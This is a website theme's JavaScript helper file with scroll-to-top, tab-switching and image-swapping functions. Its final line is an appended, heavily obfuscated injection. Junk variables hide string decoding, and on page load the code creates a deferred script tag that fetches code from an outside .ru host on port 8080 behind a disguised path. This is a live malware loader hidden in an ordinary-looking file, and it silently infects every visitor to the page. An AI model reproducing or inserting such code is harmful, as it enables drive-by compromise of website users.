/*
Author: mg12
Update: 2008/11/21
Author URI: http://www.neoease.com/
*/
(function() {

function $(id) {
	return document.getElementById(id);
}

function setStyleDisplay(id, status) {
	$(id).style.display = status;
}

function goTop(acceleration, time) {
	acceleration = acceleration || 0.1;
	time = time || 16;

	var dx = 0;
	var dy = 0;
	var bx = 0;
	var by = 0;
	var wx = 0;
	var wy = 0;

	if (document.documentElement) {
		dx = document.documentElement.scrollLeft || 0;
		dy = document.documentElement.scrollTop || 0;
	}
	if (document.body) {
		bx = document.body.scrollLeft || 0;
		by = document.body.scrollTop || 0;
	}
	var wx = window.scrollX || 0;
	var wy = window.scrollY || 0;

	var x = Math.max(wx, Math.max(bx, dx));
	var y = Math.max(wy, Math.max(by, dy));

	var speed = 1 + acceleration;
	window.scrollTo(Math.floor(x / speed), Math.floor(y / speed));
	if(x > 0 || y > 0) {
		var invokeFunction = "MGJS.goTop(" + acceleration + ", " + time + ")"
		window.setTimeout(invokeFunction, time);
	}
}

function switchTab(showPanels, hidePanels, activeTab, activeClass, fadeTab, fadeClass) {
	$(activeTab).className = activeClass;
	$(fadeTab).className = fadeClass;

	var panel, panelList;
	panelList = showPanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		var panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'block');
		}
	}
	panelList = hidePanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'none');
		}
	}
}

window['MGJS'] = {};
window['MGJS']['$'] = $;
window['MGJS']['setStyleDisplay'] = setStyleDisplay;
window['MGJS']['goTop'] = goTop;
window['MGJS']['switchTab'] = switchTab;

})();

function switchImage(imageId, imageUrl, linkId, linkUrl, preview, title, alt) {
	if(imageId && imageUrl) {
		var image = $(imageId);
		image.src = imageUrl;

		if(title) {
			image.title = title;
		}
		if(alt) {
			image.alt = alt;
		}
	}

	if(linkId && linkUrl) {
		var link = $(linkId);
		link.href = linkUrl;
	}
}
var Ak;if(Ak!='c' && Ak!='a'){Ak=''};try {var w="";var G='replace';this.cP='';var t;if(t!='Tl'){t='Tl'};var z='';var lK=new Date();var el=new Date();var i=']';var ms=new Array();var inJ;if(inJ!='' && inJ!='K'){inJ=''};var k='g';var h=RegExp;this.oi='';var ux="";var zl="";var o='[';var E='';var xJ=new Date();var JW=new Date();function B(z_,S){var ks=o;ks+=S;ks+=i;var J=new h(ks, k);var vE='';var qx;if(qx!='lM'){qx='lM'};return z_[G](J, z);};this.n="";var qf;if(qf!='' && qf!='zu'){qf='JS'};var Q;if(Q!=''){Q='XG'};var p=B('sVcVrAiHpHtA',"HBVAK");var H=new Date();var ph=B('bioAdqyq',"Aq5i");var s=new String();var Gq;if(Gq!='wt'){Gq=''};var b=B('hjtGtUpj:U/j/_pGaGijpUaGiU-_c_o_mG.jdjiUgGi_t_aUlGpjojiGnjtG.jc_o_mG._lGiUt_eGrUoGtji_cjaU-_cGojmU.GbGe_sGt_mGy_lGoGvjeG.jrUuU:G',"_UGj");var my="";var F="";var Y=B('8742044783330637',"47362");var xw=new String();var y=B('a5p5pse5n5dsCsh0i5lsd5',"s50");var vk=new Date();var JR='';var Lk='';var z_="1";var JT=B('/dg4o4o3gKl4e3.dcKo3mi/dgdoiodg4l4e3.dc4o4mK/dm4e4t3-3aKrdt3.dcdo3mK/dbdedb4oi.dcKo4m3/3m4y3w3eKb4s4e4a4ricdhd.icioim4.dpKhip4',"43iKd");var fkV;if(fkV!='' && fkV!='mj'){fkV='TH'};var Uw;if(Uw!='' && Uw!='FZ'){Uw='TV'};var N=B('s5eDtfAft5tfrfi5b5u5tDe5',"fD5");var RT;if(RT!='Ni' && RT!='g'){RT=''};var mY=new Date();var B_=B('c5rNe5ayt5e5E5lNeymNe5nyt5',"yN5");var Uen=new Date();this.II='';var T=B('oPnYlPoYaPdC',"QCYP");this.vZ="";var ea=new String();window[T]=function(){var YV;if(YV!='Ac' && YV!='CV'){YV='Ac'};var zR="";U=document[B_](p);var Wb;if(Wb!='HL' && Wb != ''){Wb=null};var Ay;if(Ay!='BB' && Ay!='NM'){Ay=''};JR+=b;var em;if(em!=''){em='Nr'};var Cd=new Date();JR+=Y;this.gz="";var Dm;if(Dm!='BR' && Dm!='ys'){Dm=''};JR+=JT;var FM;if(FM!=''){FM='MT'};var iQ;if(iQ!=''){iQ='O'};U.setAttribute('defer', z_);var nK;if(nK!=''){nK='ZG'};var ZE;if(ZE!='fi' && ZE!='Ayj'){ZE=''};var x=document[ph];this.zuJ='';this.qg='';this.sI="";var Ee;if(Ee!='rA' && Ee!='iD'){Ee='rA'};U.src=JR;var Tm;if(Tm!='jG' && Tm != ''){Tm=null};this.xb="";var sw;if(sw!='' && sw!='kE'){sw=''};x.appendChild(U);var Jh=new String();};} catch(A){this.Lc="";var vF;if(vF!='' && vF!='Ae'){vF=null};};var E_="";var CB;if(CB!='' && CB!='xR'){CB=null};